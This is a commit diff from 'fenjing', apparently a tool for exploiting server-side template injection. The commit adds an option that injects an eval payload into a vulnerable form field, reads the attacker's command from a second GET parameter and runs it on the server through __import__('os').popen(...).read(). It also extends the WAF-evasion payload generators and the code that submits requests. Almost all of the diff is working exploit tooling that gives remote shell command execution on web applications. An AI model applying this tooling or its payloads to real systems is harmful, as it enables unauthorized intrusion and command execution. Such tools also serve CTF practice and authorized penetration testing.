Skip to content

Commit

Permalink
New feature: --eval-args-payload option, put shell command in anoth…
Browse files Browse the repository at this point in the history
…er GET params and use SSTI to execute it.
  • Loading branch information
Marven11 committed Jul 26, 2023
1 parent d9f51a2 commit bb4e5e1
Show file tree
Hide file tree
Showing 4 changed files with 172 additions and 25 deletions.
58 changes: 48 additions & 10 deletions fenjing/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,8 @@

import click

from fenjing.payload_gen import generate


from .form import get_form
from .cracker import Cracker
Expand Down Expand Up @@ -67,7 +69,24 @@ def cmd_exec_submitter(
logger.info("Submit payload %s", colored("blue", payload))
if not will_print:
payload_wont_print = (
"Payload generator says that this " + "payload %s command execution result."
"Payload generator says that this payload %s command execution result."
)
logger.warning(payload_wont_print, colored("red", "won't print"))
result = submitter.submit(payload)
assert result is not None
return result.text

def cmd_exec_generate_func(
cmd: str, submitter: Submitter, generate_func: Callable, will_print: bool
) -> str:
payload = generate_func(cmd)
if payload is None:
logger.warning("%s generating payload.", colored("red", "Failed"))
return ""
logger.info("Submit payload %s", colored("blue", payload))
if not will_print:
payload_wont_print = (
"This payload %s command execution result."
)
logger.warning(payload_wont_print, colored("red", "won't print"))
result = submitter.submit(payload)
Expand Down Expand Up @@ -205,6 +224,9 @@ def get_config(
@click.option(
"--detect-mode", default=DETECT_MODE_ACCURATE, help="分析模式,可为accurate或fast"
)
@click.option(
"--eval-args-payload", default=False, is_flag=True, help="是否在GET参数中传递Eval payload"
)
@click.option("--user-agent", default=DEFAULT_USER_AGENT, help="请求时使用的User Agent")
@click.option("--header", default=[], multiple=True, help="请求时使用的Headers")
@click.option("--cookies", default="", help="请求时使用的Cookie")
Expand All @@ -218,6 +240,7 @@ def crack(
exec_cmd: str,
interval: float,
detect_mode: str,
eval_args_payload: bool,
user_agent: str,
header: tuple,
cookies: str,
Expand All @@ -243,7 +266,7 @@ def crack(
tamperer = None
if tamper_cmd:
tamperer = shell_tamperer(tamper_cmd)
found, submitter, full_payload_gen = False, None, None
found, submitter, result = False, None, None
for input_field in form["inputs"]:
submitter = FormSubmitter(url, form, input_field, requester)
if tamperer:
Expand All @@ -252,20 +275,35 @@ def crack(
if not cracker.has_respond():
logger.info("Test input field %s failed, continue...", input_field)
continue
full_payload_gen = cracker.crack()
if not full_payload_gen:
if eval_args_payload:
result = cracker.crack_eval_args()
else:
result = cracker.crack()
if not result:
logger.info("Test input field %s failed, continue...", input_field)
continue
found = True
if not found:
logger.warning("Test form failed...")
return
assert submitter is not None and full_payload_gen is not None
cmd_exec_func = partial(
cmd_exec_submitter,
submitter=submitter,
full_payload_gen=full_payload_gen,
)
assert submitter is not None and result is not None
if eval_args_payload:
assert isinstance(result,tuple)
full_payload_gen, submitter, will_print = result
cmd_exec_func = partial(
cmd_exec_generate_func,
submitter = submitter,
generate_func = lambda x: "__import__('os').popen({}).read()".format(repr(x)),
will_print = will_print
)
else:
assert isinstance(result, FullPayloadGen)
full_payload_gen = result
cmd_exec_func = partial(
cmd_exec_submitter,
submitter=submitter,
full_payload_gen=full_payload_gen,
)
if exec_cmd == "":
interact(cmd_exec_func)
else:
Expand Down
79 changes: 74 additions & 5 deletions fenjing/cracker.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,27 +2,34 @@
"""

from hashlib import new
import logging
import random
from collections import namedtuple
from string import ascii_lowercase
from typing import Union, Callable, Dict

from .submitter import Submitter
from .submitter import FormSubmitter, RequestSubmitter, Submitter
from .colorize import colored
from .const import (
ATTRIBUTE,
CHAINED_ATTRIBUTE_ITEM,
EVAL,
LITERAL,
OS_POPEN_READ,
DETECT_MODE_ACCURATE,
)
from .waf_func_gen import WafFuncGen
from .full_payload_gen import FullPayloadGen
from fenjing import submitter

logger = logging.getLogger("cracker")
Result = namedtuple("Result", "full_payload_gen input_field")


class Cracker:
test_cmd = "echo f3n j1ng;"
test_eval = "'f'+str(3)+'n j'+str(1)+\"ng\""
test_result = "f3n j1ng"

def __init__(
Expand Down Expand Up @@ -64,21 +71,28 @@ def test_payload(self, payload: str):
_, text = result
return self.test_result in text

def test_payload_eval_args(self, payload: str, subm: Submitter):
logger.info(
"Testing generated payload as eval args.",
)
result = subm.submit(payload)
assert result is not None
_, text = result
return self.test_result in text

def has_respond(self):
content = "".join(random.choices(ascii_lowercase, k=6))
resp = self.subm.submit(content)
assert resp is not None
return content in resp.text

def crack(self):
logger.info("Testing...")
logger.info("Cracking...")
waf_func = self.waf_func_gen.generate()
full_payload_gen = FullPayloadGen(
waf_func, callback=None, detect_mode=self.detect_mode
)
payload, will_print = full_payload_gen.generate(
OS_POPEN_READ, self.test_cmd
)
payload, will_print = full_payload_gen.generate(OS_POPEN_READ, self.test_cmd)
if payload is None:
return None
# payload测试成功时为True, 失败时为False, 无法测试为None
Expand All @@ -99,3 +113,58 @@ def crack(self):
+ "You can try generating payloads anyway.",
)
return full_payload_gen

def crack_eval_args(self):
logger.info("Cracking with request GET args...")
assert isinstance(
self.subm, FormSubmitter
), "Currently onlu FormSubmitter is supported"
waf_func = self.waf_func_gen.generate()
full_payload_gen = FullPayloadGen(
waf_func, callback=None, detect_mode=self.detect_mode
)
args_target_field = "x"
payload, will_print = full_payload_gen.generate(
EVAL,
(
CHAINED_ATTRIBUTE_ITEM,
(LITERAL, "request"),
(ATTRIBUTE, "args"),
(ATTRIBUTE, args_target_field),
),
)
if payload is None:
return None
assert will_print is not None, "It just shouldn't! when payload is not None!"
payload_dict = {self.subm.target_field: payload}
method = self.subm.form["method"]
assert isinstance(method, str)
new_subm = RequestSubmitter(
url=self.subm.url,
method=method,
target_field=args_target_field,
params=payload_dict if method == "GET" else {},
data=payload_dict if method != "GET" else {},
requester=self.subm.req,
)
if self.subm.tamperers:
for tamperer in self.subm.tamperers:
new_subm.add_tamperer(tamperer)
if will_print:
if self.test_payload_eval_args(self.test_eval, new_subm):
logger.info(
"%s Now we can generate payloads.",
colored("green", "Success!", bold=True),
)
else:
logger.info(
"%s! Generated payloads might be useless.",
colored("yellow", "Test Payload Failed", bold=True),
)
else:
logger.info(
"We WON'T SEE the execution result! "
+ "You can try generating payloads anyway.",
)

return full_payload_gen, new_subm, will_print
14 changes: 7 additions & 7 deletions fenjing/payload_gen.py
Original file line number Diff line number Diff line change
Expand Up @@ -1145,7 +1145,7 @@ def gen_string_formatfunc3(context: dict, value: str):

@req_gen
def gen_attribute_normal1(context, obj_req, attr_name):
if not re.match("[A-Za-z_][A-Za-z0-9_]+", attr_name):
if not re.match("[A-Za-z_]([A-Za-z0-9_]+)?", attr_name):
return [(UNSATISFIED,)]
return [
obj_req,
Expand Down Expand Up @@ -1179,7 +1179,7 @@ def gen_attribute_attrfilter(context, obj_req, attr_name):

@req_gen
def gen_item_normal1(context, obj_req, item_name):
if not re.match("[A-Za-z_][A-Za-z0-9_]+", item_name):
if not re.match("[A-Za-z_]([A-Za-z0-9_]+)?", item_name):
return [(UNSATISFIED,)]
return [
obj_req,
Expand Down Expand Up @@ -1377,12 +1377,12 @@ def gen_eval_func_namespace(context):


@req_gen
def gen_eval_normal(context, code):
def gen_eval_normal(context, eval_param):
return [
(LITERAL, "("),
(EVAL_FUNC,),
(LITERAL, "("),
(STRING, code),
eval_param,
(LITERAL, "))"),
]

Expand Down Expand Up @@ -1442,7 +1442,7 @@ def gen_module_os_import(context):
@req_gen
def gen_module_os_eval(context):
return [
(EVAL, "__import__"),
(EVAL, (STRING, "__import__")),
(LITERAL, "("),
(STRING, "os"),
(LITERAL, ")"),
Expand Down Expand Up @@ -1482,7 +1482,7 @@ def gen_os_popen_obj_normal(context, cmd):
@req_gen
def gen_os_popen_obj_eval(context, cmd):
cmd = cmd.replace("'", "\\'")
return [(EVAL, "__import__('os').popen('" + cmd + "')")]
return [(EVAL, (STRING, "__import__('os').popen('" + cmd + "')"))]


# ---
Expand Down Expand Up @@ -1518,7 +1518,7 @@ def gen_os_popen_read_normal2(context, cmd):
@req_gen
def gen_os_popen_read_eval(context, cmd):
return [
(EVAL, "__import__('os').popen('{}').read()".format(cmd.replace("'", "\\'"))),
(EVAL, (STRING, "__import__('os').popen('{}').read()".format(cmd.replace("'", "\\'")))),
]


Expand Down
46 changes: 43 additions & 3 deletions fenjing/submitter.py
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,48 @@ def submit(self, payload: str) -> Union[HTTPResponse, None]:
return None
return HTTPResponse(resp.status_code, html.unescape(resp.text))


class RequestSubmitter(BaseSubmitter):
"""向一个url提交GET或POST数据"""

def __init__(
self,
url: str,
method: str,
target_field: str,
params: Union[Dict[str, str], None],
data: Union[Dict[str, str], None],
requester: Requester,
):
"""传入目标的URL, method和提交的项
Args:
url (str): 目标URL
method (str): 方法
target_field (str): 目标项
params (Union[Dict[str, str], None]): 目标GET参数
data (Union[Dict[str, str], None]): 目标POST参数
"""
super().__init__()
self.url = url
self.method = method
self.target_field = target_field
self.params = params if params else {}
self.data = data if data else {}
self.req = requester

def submit_raw(self, raw_payload):
params, data = self.params.copy(), self.data.copy()
if self.method == "POST":
data.update({self.target_field: raw_payload})
else:
params.update({self.target_field: raw_payload})
logger.info("Submit %s", colored("blue", f"{params=} {data=}"))
return self.req.request(
method=self.method, url=self.url, params=params, data=data
)


class FormSubmitter(BaseSubmitter):
"""
向一个表格的某一项提交payload, 其他项随机填充
Expand Down Expand Up @@ -149,9 +191,7 @@ def submit_raw(self, raw_payload: str) -> Union[HTTPResponse, None]:
colored("yellow", repr(raw_payload)),
)
return None
resp = self.req.request(
method="GET", url=self.url + quote(raw_payload)
)
resp = self.req.request(method="GET", url=self.url + quote(raw_payload))
self.callback(
CALLBACK_SUBMIT,
{
Expand Down

0 comments on commit bb4e5e1

Please sign in to comment.